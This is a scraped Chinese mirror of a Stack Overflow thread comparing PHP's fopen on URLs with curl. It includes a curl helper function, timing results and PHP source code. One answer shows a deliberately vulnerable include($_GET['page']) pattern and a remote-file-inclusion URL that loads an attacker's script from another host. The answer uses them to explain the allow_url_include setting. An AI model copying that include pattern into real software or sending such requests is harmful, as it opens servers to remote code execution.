代码之家  ›  专栏  ›  技术社区  ›  Sean McSomething

在PHP中使用fopen($url)和curl有什么重要区别?

  •  5
  • Sean McSomething  · 技术社区  · 17 年前

    3 回复  |  直到 17 年前
        1
  •  15
  •   SMka    17 年前

    正如Alnitak所说,使用CURL不依赖于PHP设置。 我做了一些速度测试

    file_get_contents
    

    和我一起

    function file_get_contents_curl($url) {
        $ch = curl_init();
    
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_URL, $url);
    
        $data = curl_exec($ch);
        curl_close($ch);
    
        return $data;
    }
    

    结果:

    0.263456821442
    0.0626730918884
    

        2
  •  14
  •   Alnitak    17 年前

    fopen() 仅在以下情况下打开远程URL allow_fopen_url php.ini .

    include 功能也将下载 并解析

    <?php
        $page = $_GET['page'];
        include($page);
    ?>
    

    此时,攻击者只需请求 http://example.com/script.php?page=http://example.net/my_exploit_script 是“开”的。

    幸运的是,自5.2.0以来,有一个单独的设置( allow_url_include 这可以防止 包含 下载远程代码。

    就个人而言,如果你可以选择使用Curl,那就使用它而不是 fopen .

        3
  •  5
  •   VolkerK    17 年前

    旁注:PHP可以配置为对httpurl_wrapper使用curl,而不是使用“自己的”实现。

    ext/corl/interface.c:

    #ifdef PHP_CURL_URL_WRAPPERS
    # if HAVE_CURL_VERSION_INFO
        {
            curl_version_info_data *info = curl_version_info(CURLVERSION_NOW);
            char **p = (char **)info->protocols;
    
            while (*p != NULL) {
                php_register_url_stream_wrapper(*p++, &php_curl_wrapper TSRMLS_CC);
            }
        }
    # else
        php_register_url_stream_wrapper("http", &php_curl_wrapper TSRMLS_CC);
        php_register_url_stream_wrapper("https", &php_curl_wrapper TSRMLS_CC);
        php_register_url_stream_wrapper("ftp", &php_curl_wrapper TSRMLS_CC);
        php_register_url_stream_wrapper("ldap", &php_curl_wrapper TSRMLS_CC);
    # endif
    #endif
    推荐文章